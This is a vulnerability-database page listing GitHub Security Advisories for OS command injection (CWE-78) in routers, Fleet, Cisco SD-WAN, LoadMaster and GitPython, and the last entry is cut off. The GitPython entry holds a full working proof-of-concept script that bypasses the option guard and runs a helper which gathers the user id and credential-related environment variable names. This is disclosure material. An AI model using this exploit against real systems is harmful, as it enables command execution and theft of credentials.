CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8302 vulnerabilities reference this CWE, most recent first.
GHSA-RPHR-GF93-VGGR
Vulnerability from github – Published: 2023-01-20 15:30 – Updated: 2023-01-26 18:30TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the dayvalid parameter in the setting/delStaticDhcpRules function.
{
"affected": [],
"aliases": [
"CVE-2022-48122"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-20T15:15:00Z",
"severity": "CRITICAL"
},
"details": "TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the dayvalid parameter in the setting/delStaticDhcpRules function.",
"id": "GHSA-rphr-gf93-vggr",
"modified": "2023-01-26T18:30:48Z",
"published": "2023-01-20T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48122"
},
{
"type": "WEB",
"url": "https://github.com/Am1ngl/ttt/tree/main/17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RPHV-H674-5HP2
Vulnerability from github – Published: 2026-04-08 18:03 – Updated: 2026-06-26 20:20Summary
The Orbit agent's FileVault disk encryption key rotation flow on collects a local user's password via a GUI dialog and interpolates it directly into a Tcl/expect script executed via exec.Command("expect", "-c", script). Because the password is inserted into Tcl brace-quoted send {%s}, a password containing } terminates the literal and injects arbitrary Tcl commands. Since Orbit runs as root, this allows a local unprivileged user to escalate to root privileges.
CWE
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-94: Improper Control of Generation of Code ('Code Injection')
Impact
- Local privilege escalation to root: Any unprivileged local user on a managed endpoint can execute arbitrary commands as root
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/fleetdm/fleet/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.81.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27806"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T18:03:52Z",
"nvd_published_at": "2026-04-08T19:25:13Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Orbit agent\u0027s FileVault disk encryption key rotation flow on collects a local user\u0027s password via a GUI dialog and interpolates it directly into a Tcl/expect script executed via `exec.Command(\"expect\", \"-c\", script)`. Because the password is inserted into Tcl brace-quoted `send {%s}`, a password containing `}` terminates the literal and injects arbitrary Tcl commands. Since Orbit runs as root, this allows a local unprivileged user to escalate to root privileges.\n\n## CWE\n\n- **CWE-78**: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)\n- **CWE-94**: Improper Control of Generation of Code (\u0027Code Injection\u0027)\n\n## Impact\n\n- Local privilege escalation to root: Any unprivileged local user on a managed endpoint can execute arbitrary commands as root\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-rphv-h674-5hp2",
"modified": "2026-06-26T20:20:10Z",
"published": "2026-04-08T18:03:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-rphv-h674-5hp2"
},
{
"type": "PACKAGE",
"url": "https://github.com/fleetdm/fleet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Fleet Affected by Local Privilege Escalation via Tcl Command Injection in Orbit"
}
GHSA-RPJX-3G4C-XQFH
Vulnerability from github – Published: 2022-05-24 19:01 – Updated: 2022-08-06 00:00A vulnerability in the CLI of Cisco SD-WAN Software could allow an authenticated, local attacker to inject arbitrary commands to be executed with Administrator privileges on the underlying operating system. This vulnerability is due to insufficient input validation on certain CLI commands. An attacker could exploit this vulnerability by authenticating to the device and submitting crafted input to the CLI. The attacker must be authenticated as a low-privileged user to execute the affected commands. A successful exploit could allow the attacker to execute commands with Administrator privileges.
{
"affected": [],
"aliases": [
"CVE-2021-1514"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-06T13:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the CLI of Cisco SD-WAN Software could allow an authenticated, local attacker to inject arbitrary commands to be executed with Administrator privileges on the underlying operating system. This vulnerability is due to insufficient input validation on certain CLI commands. An attacker could exploit this vulnerability by authenticating to the device and submitting crafted input to the CLI. The attacker must be authenticated as a low-privileged user to execute the affected commands. A successful exploit could allow the attacker to execute commands with Administrator privileges.",
"id": "GHSA-rpjx-3g4c-xqfh",
"modified": "2022-08-06T00:00:45Z",
"published": "2022-05-24T19:01:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1514"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-QVszVUPy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RPM5-65CW-6HJ4
Vulnerability from github – Published: 2026-04-25 23:42 – Updated: 2026-05-08 21:52Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile
from git import Repo
from git.exc import UnsafeOptionError
# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")
# Setup: this wrapper is just to demo things you can do, not required for the exploit to work
# you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
f.write(f"""#!/bin/sh
{{
echo "code_exec=1"
echo "whoami=$(id)"
echo "cwd=$(pwd)"
echo "uname=$(uname -a)"
printf 'argv='; printf '<%s>' "$@"; echo
env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@"
""")
os.chmod(wrapper, stat.S_IRWXU)
subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
with open(os.path.join(producer, "README"), "w") as f:
f.write("x")
subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
check=True,
stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
repo = Repo(victim)
remote = repo.remote("origin")
# the literal Git option name is properly blocked.
try:
remote.fetch(**{"upload-pack": wrapper})
print("control=unexpected_success")
except UnsafeOptionError:
print("control=blocked")
# this is the actual vulnerability
# you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
# if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)
# Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
-
Expected result:
-
The script prints
control=blocked - The script prints
proof_exists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including
id, working directory, argv, and selected environment variable names
Example output:
GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>
This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.
Impact
Who is impacted:
- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
- Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )
What the attacker needs to control:
- A value that becomes
upload_packorreceive_packin the kwargs passed toRepo.clone_from(),Remote.fetch(),Remote.pull(), orRemote.push()
From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations
The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.30"
},
{
"fixed": "3.1.47"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42215"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:42:16Z",
"nvd_published_at": "2026-05-07T19:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0027re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n f.write(f\"\"\"#!/bin/sh\n{{\n echo \"code_exec=1\"\n echo \"whoami=$(id)\"\n echo \"cwd=$(pwd)\"\n echo \"uname=$(uname -a)\"\n printf \u0027argv=\u0027; printf \u0027\u003c%s\u003e\u0027 \"$@\"; echo\n env | grep -E \u0027^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0027 | sed \u0027s/=.*$/=\u003credacted\u003e/\u0027 || true\n}} \u003e \u0027{proof}\u0027\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n check=True,\n stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n remote.fetch(**{\"upload-pack\": wrapper})\n print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin \u003credacted\u003e Darwin Kernel Version \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.",
"id": "GHSA-rpm5-65cw-6hj4",
"modified": "2026-05-08T21:52:12Z",
"published": "2026-04-25T23:42:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython has Command Injection via Git options bypass"
}
GHSA-RPMQ-5VRP-9XJ8
Vulnerability from github – Published: 2025-12-11 18:30 – Updated: 2025-12-12 18:30OS Command Injection vulnerability in Ruijie RG-EW1300G EW1300G V1.00/V2.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.
{
"affected": [],
"aliases": [
"CVE-2025-56079"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T18:16:20Z",
"severity": "HIGH"
},
"details": "OS Command Injection vulnerability in Ruijie RG-EW1300G EW1300G V1.00/V2.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.",
"id": "GHSA-rpmq-5vrp-9xj8",
"modified": "2025-12-12T18:30:32Z",
"published": "2025-12-11T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56079"
},
{
"type": "WEB",
"url": "https://1drv.ms/f/c/12406a392c92914b/EjGDN1e4xfZOhROI3hzjKr0Bb9TVCN03MAR_VK56P8V3Ug?e=NmUXvt"
},
{
"type": "WEB",
"url": "https://1drv.ms/t/c/12406a392c92914b/EZdYNxRd8ilMrCRXLnltUKEBiBXJzrTc9i7Y643cuho9PA?e=7Bifxw"
},
{
"type": "WEB",
"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56079.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RPRP-M5GH-MH5C
Vulnerability from github – Published: 2024-11-05 15:30 – Updated: 2024-11-05 18:32Netgear R8500 v1.0.2.160 was discovered to contain a command injection vulnerability in the share_name parameter at usb_remote_smb_conf.cgi. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2024-51005"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-05T15:15:24Z",
"severity": "HIGH"
},
"details": "Netgear R8500 v1.0.2.160 was discovered to contain a command injection vulnerability in the share_name parameter at usb_remote_smb_conf.cgi. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.",
"id": "GHSA-rprp-m5gh-mh5c",
"modified": "2024-11-05T18:32:10Z",
"published": "2024-11-05T15:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51005"
},
{
"type": "WEB",
"url": "https://github.com/wudipjq/my_vuln/blob/main/Netgear4/vuln_50/50.md"
},
{
"type": "WEB",
"url": "https://www.netgear.com/about/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RPVV-C9R8-23VH
Vulnerability from github – Published: 2025-08-14 15:30 – Updated: 2025-08-15 15:30An issue was discovered on KuWFi GC111 devices (Hardware Version: CPE-LM321_V3.2, Software Version: GC111-GL-LM321_V3.0_20191211). They are vulnerable to unauthenticated /goform/goform_set_cmd_process requests. A crafted POST request, using the SSID parameter, allows remote attackers to execute arbitrary OS commands with root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-43984"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-14T14:15:31Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered on KuWFi GC111 devices (Hardware Version: CPE-LM321_V3.2, Software Version: GC111-GL-LM321_V3.0_20191211). They are vulnerable to unauthenticated /goform/goform_set_cmd_process requests. A crafted POST request, using the SSID parameter, allows remote attackers to execute arbitrary OS commands with root privileges.",
"id": "GHSA-rpvv-c9r8-23vh",
"modified": "2025-08-15T15:30:22Z",
"published": "2025-08-14T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43984"
},
{
"type": "WEB",
"url": "https://drive.proton.me/urls/1NRPNBE678#lFyUYIRIBZO5"
},
{
"type": "WEB",
"url": "https://github.com/actuator/cve/blob/main/Kuwfi/CVE-2025-43984.txt"
},
{
"type": "WEB",
"url": "https://github.com/actuator/cve/tree/main/kuwfi"
},
{
"type": "WEB",
"url": "https://www.kuwfi.com/products/300mbps-industrial-router-cat4-4g-cpe-router-extender-strong-wifi-signal-suport-32wifi-users-with-sim-card-slot-95"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQ26-5593-XPG9
Vulnerability from github – Published: 2024-09-05 18:30 – Updated: 2025-02-18 18:33Improper Input Validation vulnerability in Progress LoadMaster allows OS Command Injection.This issue affects:
-
LoadMaster: 7.2.40.0 and above
-
ECS: All versions
-
Multi-Tenancy: 7.1.35.4 and above
{
"affected": [],
"aliases": [
"CVE-2024-7591"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-05T18:15:06Z",
"severity": "CRITICAL"
},
"details": "Improper Input Validation vulnerability in Progress LoadMaster allows OS Command Injection.This issue affects:\n\n* LoadMaster: 7.2.40.0 and above\n\n* ECS: All versions\n\n* Multi-Tenancy: 7.1.35.4 and above",
"id": "GHSA-rq26-5593-xpg9",
"modified": "2025-02-18T18:33:09Z",
"published": "2024-09-05T18:30:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7591"
},
{
"type": "WEB",
"url": "https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591"
},
{
"type": "WEB",
"url": "https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591"
},
{
"type": "WEB",
"url": "https://url.us.m.mimecastprotect.com/s/m_v3CkRgEgSz2vDGUQi8HGPtBQ?domain=insinuator.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQ37-QMJ6-52M5
Vulnerability from github – Published: 2023-01-27 00:30 – Updated: 2025-11-04 21:30Several OS command injection vulnerabilities exist in the m2m binary of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is reachable through the m2m's DOWNLOAD_INFO command.
{
"affected": [],
"aliases": [
"CVE-2022-42493"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Several OS command injection vulnerabilities exist in the m2m binary of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This command injection is reachable through the m2m\u0027s DOWNLOAD_INFO command.",
"id": "GHSA-rq37-qmj6-52m5",
"modified": "2025-11-04T21:30:32Z",
"published": "2023-01-27T00:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42493"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1640"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1640"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQ39-FWWC-45GH
Vulnerability from github – Published: 2021-12-10 00:00 – Updated: 2021-12-14 00:01An unauthenticated command injection vulnerability exists in the parameters of operation 48 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.
{
"affected": [],
"aliases": [
"CVE-2021-20143"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-09T16:15:00Z",
"severity": "HIGH"
},
"details": "An unauthenticated command injection vulnerability exists in the parameters of operation 48 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.",
"id": "GHSA-rq39-fwwc-45gh",
"modified": "2021-12-14T00:01:23Z",
